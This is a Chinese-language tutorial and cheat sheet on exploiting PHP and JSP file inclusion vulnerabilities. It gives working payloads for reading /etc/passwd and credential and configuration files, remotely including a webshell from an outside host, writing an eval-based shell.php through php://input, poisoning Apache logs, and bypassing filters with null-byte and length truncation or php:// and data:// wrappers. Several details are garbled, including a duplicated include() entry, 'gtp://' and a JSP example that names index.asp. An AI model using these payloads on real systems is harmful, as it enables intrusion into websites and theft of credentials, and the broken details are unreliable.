文件包含
基础
漏洞简介:
程序开发人员通常会把重复使用的函数写到单个文件中, 在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程称为包含。程序开发人员都希望代码更灵活,所以通常会将被包含的文件设成变量,用来进行动态调用,正是这种灵活性从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。一般存在于php、web application中居多。
Php包含
- 提供文件包含的函数
- Include():找不到被包含的文件时会产生错误(E_COMPILE_ERROR),并停止脚本
- Include():找不到被包含的文件时只会产生警告,脚本继续执行
- Include_once():与include()相似,区别就是如果该文件中的代码已经被包含,则不会再次包含
- Require_once():与require()相似,区别就是如果该文件中的代码已经被包含,则不会再次包含
Php文件包含利用
读取敏感文件
#例:读取passwd的内容
http://www........com/index.php?page=/etc/passwd
常见敏感信息路径:
# Windows系统:C:\boot.ini(查看系统版本)C:\windows\system32\intrsrv\MeraBase.xml(虚拟网站设置)C:\ windows\repair\sam(系统初次安装密码)C:\Program Files\mysql\my.ini(mysql配置)C:\Program Files\mysql\data\mysql\user.MYD(mysql root)C:\windows\my.ini(mysql配置文件)C:\windows\php.ini\(php配置文件)#Linux系统/etc/passwd/usr/local/app/apache2/conf/extra/httpd-vhosts.conf(虚拟网站目录)/usr/local/app/apache2/conf/httpd.conf(apache2默认配置文件)Usr/local/app/php5/lib/php.ini(php相关配置)Etc/httpd/conf/httpd.conf(apache配置文件)/etc/my.cnf(mysql配置文件)
远程包含shell
如果目标主机的allow_url_fopen选项是激活的,可以尝试远程包含一句话木马,例子如下:http://www.......com/echo.txt代码为: ”) ?>访问:http://www.xxsser.com/index.php?page=http://www.......com/echo.txt,将会在index.php所在目录下生成shell.php,内容为 配合文件上传同理,若已经上传一句话图片木马到服务器,路径为:/uploadfile/123.jpg,访问http: // www....com/index.php?page=./uploadfile/123.jpg效果与上面一样
使用php封装协议
Php带有很多内置的url风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似,常见协议如下表:
名称 | 含义 |
File:// | 访问本地文件系统 |
http:// | 访问http网址 |
gtp:// | 访问ftp 的rul |
Php:// | 访问输入/输出流 |
Zlib:// | 压缩流 |
Data:// | 数据(rfc2397) |
Ssh2:// | Secure shell 2 |
Expect:// | 处理交互式的流 |
Glob:// | 查找匹配的文件路径 |
使用封装协议
#读取php文件
例:http://www.....com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问url得到base64加密后的字符串
#写入php文件
使用php://input可以执行php语句,前提是allow_url_include=on
例:
构造url:http://www.....com/index.php?page=php://input,提交数据为: <?fputs(fopen(“shell.php”,”w”),”<?php eval($_post[xxser]);?>”) ?>
将会在index.php目录下生成shell.php文件
包含apache日志文件
Apache运行后会生成两个日志文件:access.log和error.log,当请求index.php时会记录下我们的操作。当访问一个不存在的资源时,apache同样会记录,这就意味着如果存在包含漏洞却没有可以包含的文件时就可以去访问url:http://www...com/<?php phpinfo();?>,Apache会记录请求并写道日志中,再包含日志文件就可以利用了(前提是知道日志的路径,)
例:http://www…com/index.php?page=./../apache-20/logs/access.log
JSP包含
#静态包含
Jsp中的静态包含语句为
<%@ include file=”page.txt”%>
编写好page.txt后访问index.asp,page.txt将会被解析。Jsp语法规定include指令为静态包含只能调用已经存在于服务器中的文件,因此include指令将不存在文件包含漏洞。
# 动态包含
动态包含语句为:<jsp:include page=”page.txt”/>
与静态包含相反在运行时会先处理被包含的页面,然后再包含,而且可以包含一个动态页面。
考虑常用的几种包含方式为
同目录包含 file=.htaccess目录遍历 ?file=../../../../../../../../../var/lib/locate.db日志注入 ?file=../../../../../../../../../var/log/apache/error.log利用 /proc/self/environ其中日志可以使用SSH日志或者Web日志等多种日志来源测试
绕过技巧
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过 特殊字符绕过 某些情况下,读文件支持使用Shell通配符,如 ? * 等 url中 使用 ? # 可能会影响include包含的结果 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
%00截断
几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
长度截断
Windows上的文件名长度和文件路径有关。具体关系为: 从根目录计算,文件路径长度最长为259个bytes。
msdn定义```#define MAX_PATH 260```,第260个字符为字符串结尾 的```0```
linux可以用getconf来判断文件名长度限制和文件路径长度限制
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路 径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
伪协议绕过
#远程包含: 要求
allow_url_fopen=On and allow_url_include=On
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
#PHP INPUT:
把payload放在POST参数中作为包含的文件,
要求: allow_url_include=On ,
payload为 ?file=php://input
#BASE64:
使用Base64伪协议读取文件,
payload:?file=php://filter/convert.base64-encode/resource=index.php
#DATA:
使用data伪协议读取文件,
payload为?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
要求 allow_url_include=On